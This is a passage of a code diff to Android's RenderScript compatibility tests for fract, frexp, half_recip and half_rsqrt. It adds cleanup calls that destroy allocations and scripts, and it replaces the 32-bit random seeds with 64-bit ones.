             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testFractFloat3Float3(inV, out);
             verifyResultsFractFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat3Float3: " + e.toString());
         }
@@ -551,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFractFloat3Float3(inV, out);
             verifyResultsFractFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -608,11 +644,12 @@
     }
 
     private void checkFractFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb10b709bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x109a57e2b10b709bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testFractFloat4Float4(inV, out);
             verifyResultsFractFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat4Float4: " + e.toString());
         }
@@ -620,9 +657,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFractFloat4Float4(inV, out);
             verifyResultsFractFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -684,13 +723,15 @@
     }
 
     private void checkFractHalfHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x64a42fb6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd06c85e164a42fb6l, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractHalfHalfHalf(inV, out);
             verifyResultsFractHalfHalfHalf(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalfHalfHalf: " + e.toString());
         }
@@ -700,9 +741,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractHalfHalfHalf(inV, out);
             verifyResultsFractHalfHalfHalf(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalfHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalfHalfHalf(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -779,13 +823,15 @@
     }
 
     private void checkFractHalf2Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x734da11cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x27492874734da11cl, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractHalf2Half2Half2(inV, out);
             verifyResultsFractHalf2Half2Half2(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf2Half2Half2: " + e.toString());
         }
@@ -795,9 +841,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractHalf2Half2Half2(inV, out);
             verifyResultsFractHalf2Half2Half2(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalf2Half2Half2(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -874,13 +923,15 @@
     }
 
     private void checkFractHalf3Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd1ecb1ebl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4cfda85dd1ecb1ebl, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractHalf3Half3Half3(inV, out);
             verifyResultsFractHalf3Half3Half3(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf3Half3Half3: " + e.toString());
         }
@@ -890,9 +941,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractHalf3Half3Half3(inV, out);
             verifyResultsFractHalf3Half3Half3(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf3Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalf3Half3Half3(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -969,13 +1023,15 @@
     }
 
     private void checkFractHalf4Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x308bc2bal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x72b22847308bc2bal, false);
         try {
             Allocation outFloor = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocOutFloor(outFloor);
             script.forEach_testFractHalf4Half4Half4(inV, out);
             verifyResultsFractHalf4Half4Half4(inV, outFloor, out, false);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf4Half4Half4: " + e.toString());
         }
@@ -985,9 +1041,12 @@
             scriptRelaxed.set_gAllocOutFloor(outFloor);
             scriptRelaxed.forEach_testFractHalf4Half4Half4(inV, out);
             verifyResultsFractHalf4Half4Half4(inV, outFloor, out, true);
+            outFloor.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf4Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalf4Half4Half4(Allocation inV, Allocation outFloor, Allocation out, boolean relaxed) {
@@ -1070,11 +1129,12 @@
     }
 
     private void checkFractHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x96468e55l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x924ee10e96468e55l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testFractHalfHalf(inV, out);
             verifyResultsFractHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalfHalf: " + e.toString());
         }
@@ -1082,9 +1142,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFractHalfHalf(inV, out);
             verifyResultsFractHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -1143,11 +1205,12 @@
     }
 
     private void checkFractHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xad1120fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbbb6923f0ad1120fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testFractHalf2Half2(inV, out);
             verifyResultsFractHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf2Half2: " + e.toString());
         }
@@ -1155,9 +1218,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFractHalf2Half2(inV, out);
             verifyResultsFractHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -1216,11 +1281,12 @@
     }
 
     private void checkFractHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x69d8d703l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbbb69ce069d8d703l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testFractHalf3Half3(inV, out);
             verifyResultsFractHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf3Half3: " + e.toString());
         }
@@ -1228,9 +1294,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFractHalf3Half3(inV, out);
             verifyResultsFractHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -1289,11 +1357,12 @@
     }
 
     private void checkFractHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc8e09bf7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbbb6a781c8e09bf7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testFractHalf4Half4(inV, out);
             verifyResultsFractHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf4Half4: " + e.toString());
         }
@@ -1301,9 +1370,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFractHalf4Half4(inV, out);
             verifyResultsFractHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFractHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFractHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.java
index c4f9c33..685543c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFrexpRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatIntFloat {
         public float inV;
         public int outExponent;
@@ -44,13 +51,15 @@
     }
 
     private void checkFrexpFloatIntFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7384e56dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x57ae9fe07384e56dl, false);
         try {
             Allocation outExponent = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocOutExponent(outExponent);
             script.forEach_testFrexpFloatIntFloat(inV, out);
             verifyResultsFrexpFloatIntFloat(inV, outExponent, out, false);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloatIntFloat: " + e.toString());
         }
@@ -60,9 +69,12 @@
             scriptRelaxed.set_gAllocOutExponent(outExponent);
             scriptRelaxed.forEach_testFrexpFloatIntFloat(inV, out);
             verifyResultsFrexpFloatIntFloat(inV, outExponent, out, true);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloatIntFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFrexpFloatIntFloat(Allocation inV, Allocation outExponent, Allocation out, boolean relaxed) {
@@ -132,13 +144,15 @@
     }
 
     private void checkFrexpFloat2Int2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x88fe7701l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x544e0a688fe7701l, false);
         try {
             Allocation outExponent = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocOutExponent(outExponent);
             script.forEach_testFrexpFloat2Int2Float2(inV, out);
             verifyResultsFrexpFloat2Int2Float2(inV, outExponent, out, false);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloat2Int2Float2: " + e.toString());
         }
@@ -148,9 +162,12 @@
             scriptRelaxed.set_gAllocOutExponent(outExponent);
             scriptRelaxed.forEach_testFrexpFloat2Int2Float2(inV, out);
             verifyResultsFrexpFloat2Int2Float2(inV, outExponent, out, true);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloat2Int2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFrexpFloat2Int2Float2(Allocation inV, Allocation outExponent, Allocation out, boolean relaxed) {
@@ -220,13 +237,15 @@
     }
 
     private void checkFrexpFloat3Int3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7eb0e3bal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2afb1f097eb0e3bal, false);
         try {
             Allocation outExponent = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocOutExponent(outExponent);
             script.forEach_testFrexpFloat3Int3Float3(inV, out);
             verifyResultsFrexpFloat3Int3Float3(inV, outExponent, out, false);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloat3Int3Float3: " + e.toString());
         }
@@ -236,9 +255,12 @@
             scriptRelaxed.set_gAllocOutExponent(outExponent);
             scriptRelaxed.forEach_testFrexpFloat3Int3Float3(inV, out);
             verifyResultsFrexpFloat3Int3Float3(inV, outExponent, out, true);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloat3Int3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFrexpFloat3Int3Float3(Allocation inV, Allocation outExponent, Allocation out, boolean relaxed) {
@@ -308,13 +330,15 @@
     }
 
     private void checkFrexpFloat4Int4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x74635073l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x50b15d6c74635073l, false);
         try {
             Allocation outExponent = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocOutExponent(outExponent);
             script.forEach_testFrexpFloat4Int4Float4(inV, out);
             verifyResultsFrexpFloat4Int4Float4(inV, outExponent, out, false);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloat4Int4Float4: " + e.toString());
         }
@@ -324,9 +348,12 @@
             scriptRelaxed.set_gAllocOutExponent(outExponent);
             scriptRelaxed.forEach_testFrexpFloat4Int4Float4(inV, out);
             verifyResultsFrexpFloat4Int4Float4(inV, outExponent, out, true);
+            outExponent.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFrexpFloat4Int4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFrexpFloat4Int4Float4(Allocation inV, Allocation outExponent, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.java
index f60f372..a03ef85 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestHalfRecipRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkHalfRecipFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x130d5b3dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x854e263130d5b3dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testHalfRecipFloatFloat(inV, out);
             verifyResultsHalfRecipFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRecipFloatFloat(inV, out);
             verifyResultsHalfRecipFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRecipFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkHalfRecipFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x5ff23c79l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2cf1d2db5ff23c79l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testHalfRecipFloat2Float2(inV, out);
             verifyResultsHalfRecipFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRecipFloat2Float2(inV, out);
             verifyResultsHalfRecipFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRecipFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkHalfRecipFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x560d5d57l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2cf39bf6560d5d57l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testHalfRecipFloat3Float3(inV, out);
             verifyResultsHalfRecipFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRecipFloat3Float3(inV, out);
             verifyResultsHalfRecipFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRecipFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkHalfRecipFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4c287e35l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2cf565114c287e35l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testHalfRecipFloat4Float4(inV, out);
             verifyResultsHalfRecipFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRecipFloat4Float4(inV, out);
             verifyResultsHalfRecipFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRecipFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRecipFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.java
index 072ba59..7af236d 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestHalfRsqrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkHalfRsqrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc00f0bf2l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xad5e977ec00f0bf2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testHalfRsqrtFloatFloat(inV, out);
             verifyResultsHalfRsqrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRsqrtFloatFloat(inV, out);
             verifyResultsHalfRsqrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRsqrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkHalfRsqrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf12787c6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x300ee7bff12787c6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testHalfRsqrtFloat2Float2(inV, out);
             verifyResultsHalfRsqrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRsqrtFloat2Float2(inV, out);
             verifyResultsHalfRsqrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRsqrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkHalfRsqrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe742a8a4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3010b0dae742a8a4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testHalfRsqrtFloat3Float3(inV, out);
             verifyResultsHalfRsqrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRsqrtFloat3Float3(inV, out);
             verifyResultsHalfRsqrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsHalfRsqrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkHalfRsqrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdd5dc982l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x301279f5dd5dc982l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testHalfRsqrtFloat4Float4(inV, out);
             verifyResultsHalfRsqrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testHalfRsqrtFloat4Float4(inV, out);
             verifyResultsHalfRsqrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testHalfRsqrtFloat4Float4: " + e.toString());
